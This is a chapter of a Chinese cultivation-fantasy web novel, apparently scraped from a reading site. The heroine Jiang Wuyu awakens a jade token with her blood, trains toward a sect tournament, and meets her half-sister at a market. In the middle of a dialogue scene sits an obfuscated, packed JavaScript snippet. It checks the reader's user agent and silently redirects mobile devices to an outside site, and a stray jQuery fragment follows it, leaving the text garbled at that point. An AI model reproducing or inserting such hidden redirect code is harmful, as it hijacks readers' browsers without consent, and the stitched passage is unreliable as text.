既然已经和凤唳凰羽结契,也该去寻找一些弓的修炼方法,姜无虞拿着听澜给她的令牌去到藏书阁,找了几本基础的修炼功法,譬如,《九霄经》、《箭心矢》。
先把基本功了解一下,姜无虞心想,至于其他的,她相信有人会比她更希望看到凤唳凰羽的提升。
这段时间,姜无虞每日寅时起床,修行、炼丹、养花,这几件事充实着她的每一天,她的能力在一点点的提升,也能感觉得出扶许神识日渐稳定,唯独凤唳凰羽。
几天之后,更关心的人终于出现了。
依旧那副看不出情绪的表情,依旧那双平静的眸子。
“你来了”,姜无虞一点不意外看到他。
“凤唳凰羽的修炼遇到困难了?”,疑问的语气,神色却是肯定。
“你不清楚吗”,她看着他现在这幅样子,从初次见他时,姜无虞就觉得这个人很会装。
“清楚”,说着,递出一块玉玦,血红色的玉,缺口处雕成了凤的头与尾。
“怎么用”
“不知道,凤唳凰羽的修炼方法,要靠你自己摸索”
姜无虞∶……,不靠谱。
似乎察觉出她的心思,听澜唇角略微带动,“在你之前,无人与它共鸣,没人帮得了你,这条路只能你自己走”。
说完这一切后,他不再停留,转身离开。
姜无虞大部分时间已经习惯了她自己一个人,无论是前一世她独一无二的火灵脉,还是如今,这条无人走过的路,从没人真正的跟她感同身受。
她不理解,为什么她所经受的总是如此,她厌恶这些所谓的“独一无二”,为什么没人问她愿不愿意承受。
但是已经不要紧了,姜无虞想。
她无意识地将那玉玦越攥越紧,甚至不在意它锋利的纹路将她的手指割破。鲜血浸入玉中暗刻的沟壑,那枚原本死寂的、血红的玉,竟逐渐变得温润、通透,内里似有光华流转,真正“活”了过来。
“果然,你也需要我的血液吗……”
姜无虞低语,声音轻得仿佛叹息。话音未落,掌心传来一阵灼烫——那玉玦竟主动挣脱了她的桎梏,缓缓悬浮而起!
它停在她眼前三尺处,嗡鸣着,发出极轻微却直透神魂的清音。血迹在玉身表面游走、重组,勾勒出一个枚图案。
玉玦的光芒越来越盛,最后化作一道凝实的光束,不容抗拒地,没入了她的眉心。
完成了使命,光华开始内敛,“嗒”一声轻响,落回她染血的掌心,恢复了寻常温度,只是那核心的徽印,已落在了她的额头。
姜无虞来到镜前抬手轻触,额间印记的灼热,和她骤然加快的心跳,都证实了那不是幻觉。
她不再看镜子,转身走向窗边,望向那无尽夜空。
“很快了”,她说。
复仇的棋盘上,这颗最重要的棋子终于落下。
世间一转眼地过了半年,这半年间,姜无虞从未踏出青衔小居一步,她几乎堵上了自己所有的时间在修炼。
终于,在她的努力下,她将自己的实力提到了筑基期,凤唳凰羽也出现了些许的变化,它的火焰更加纯净了,弓鞘的翎羽也更舒展了。
就连扶许,也能随意的在她识海中活动了,他的本体桃花树长得有手臂那么粗了,似乎所有的事都在往好的一面发展。
也是在这时,她收到了宗门大比的消息,原本这跟她毫无关系,毕竟她不算是秋水宗的弟子,但这次大比排名的前七人将有机会进入玉虚山。
万年开一次的仙山,里面仙草、灵兽遍地,对她提升修为可以说是至关重要,当然,这么想的肯定不止她一个。
在秋水宗修炼了半年多的姜锦书也收到了这个消息,从她入宗门以来就刻苦训练,如今已经是炼气巅峰!
为此要多亏她半年之前在云尘坊淘来的培元丹,一颗直接将她从初期引气入体提升到炼气期,只可惜这样的丹药数量稀少,她也是碰巧才换到的。
她前几日写信给母亲陈姝,告诉了这个好消息,这几年她也时常收到家里的书信,有母亲问她在这儿过的好不好、有没有人欺负她,也有父亲问她,有没有用心修炼、长姐如何、姜无虞如何。
一封家信时常拆成两半,一半跟母亲说∶她很好,她已经小小的有些成绩,又问母亲身体如何,是否想她。
一半给父亲∶长姐在长老门下她上不去也不清楚,姜无虞她也不知道,或许在外门扫大街。
她视这些书信为父母殷切的期盼,她出生时,母亲还不是正室夫人,庶女这个名头伴随着她的童年,即便家中无人对她有眼色,可她依旧因此怄气。
她清楚这份不甘并非源于苛待,而是源于一种过于完美的对照。长姐如明珠一般的璀璨夺目,资质之高被长老直接收入殿中,就连那姜无虞都能在外界眼中占一个嫡女的身份。
只有她,是家族锦缎上一道沉默的暗纹,存在,却不夺目;必要,却非主角。
“这次宗门大比我一定要进前七!”,姜锦书对此势在必得。
红尘峰那边
“师父我真不行了”,明云又在扎马步。
“不行就歇歇”,舟水淡定的喝了一口茶。
“那,那师父你能把石头给我解开吗……”,明云小心翼翼地跟他说。
“不能”。
明云双臂绑着的石头足有百斤,看他在这举着,舟水在亭子里喝茶,顿时都觉得茶水更好喝了。
“宗门大比在即,你不好好练,等着给我丢脸?”
“师父,已经初入金丹了!同年龄段的弟子中我的修为可是最高”,明云打着哈哈,悄悄地把手臂降低了一点。
“呵,你知道姜无虞这半年多修为到哪里了吗?已经筑基期了”,舟水犀利的目光下,他将手臂再次抬回去。
“姜无虞?谁啊”,明云不解。
舟水∶“……太上峰那个”。
明云∶“太上峰?剑仙啊!不对啊,剑仙怎么才到筑基期”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109625|195834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舟水∶……蠢货。
怕说再多气到自己,舟水开始给自己舒气。
渐渐地,明云也回过味来,“我就说!她还真不是剑仙啊,可恶,真是骗我”。
他一边生着气,一边将两块石头解开扔在地上,随后又看向舟水,对他说∶“那也没事儿,师父,筑基期和金丹期可不是能不比,十个筑基也打不过一个金丹”。
“你一个初期嘚瑟什么”,舟水看他得意的一副胜券在握的模样。
“我可打听过了,这届里面,除了天剑峰那位到了金丹巅峰,其余的没一个比我强,前七里面肯定有我的”。
舟水听着他说,唇角露出笑来,“让你放下了吗,再加一个时辰”。
明云∶救命啊……
宗门众人皆在紧迫的氛围中准备着。
姜无虞也在应有的基础上,将她的实力提高到极限,筑基巅峰应该就是她能在宗门大比中拿出的最高实力。
修为这方面她已经做到最多了,剩下的只能在身法上进行一些训练,她所用的凤唳凰羽是一把弓箭,近身搏斗对她来说肯定不行,尽量在一开始远离目标,将全部实力系于一箭上,争取一击即胜,这对她来说是个不小的挑战。
舟水偶尔过来给她传个宗门中的消息,姜无虞也是从他那知道,此次比赛中金丹期只有两人,她清楚自己现在的实力在哪,只要进前七就行。
只是,这身法该怎么训练,在她正愁着的时候,扶许开口了,“怎么不问问我”。
姜无虞仿佛迷路的人找到了一个方向,“你知道弓箭身法的训练?”,她很兴奋。
“不知道”,扶许回她,“但是单轻功身法来讲,我知道不少绝世古籍”。
还好他说的快,不然姜无虞已经打算把他本体拔了。
扶许将记忆中的秘籍通过识海传给她,姜无虞大概的看了一下,这些都是现世所不曾记载的,也只有在这个时候姜无虞才能认识到扶许是“神”的这个身份。
服用淬体丹之后,姜无虞的身体塑造能力要比同修为的人高上两阶,加上扶许和自己炼制的丹药的助力,这本古籍里的身法虽然不至于全部应用自如,但是对上金丹以下可以说完全没问题。
这些天练下来,姜无虞察觉出她对于周遭的变化能更敏锐的发现。
就这样,她每次练出一点成就,就扔给扶许一颗丹药奖励,直到扶许再也受不住,被补的有点狠了。
距离宗门大比还有一个月的时间,她觉得已经准备的差不多了。
上次在这里看到春兰之后,她就让春兰离开了,姜无虞实在不适应,小居每天都有人给她送食物,说起来她已经好久没下山了。
姜无虞决定下山看看,但是不知道去哪,所以还是去了云尘坊,想看看有没有什么有趣的东西。
不曾想,在这里遇到了一个说得上是熟人的人——姜锦书。
姜锦书在云尘坊看到姜无虞还是很意外的,她不是在外门吗?怎么来的这?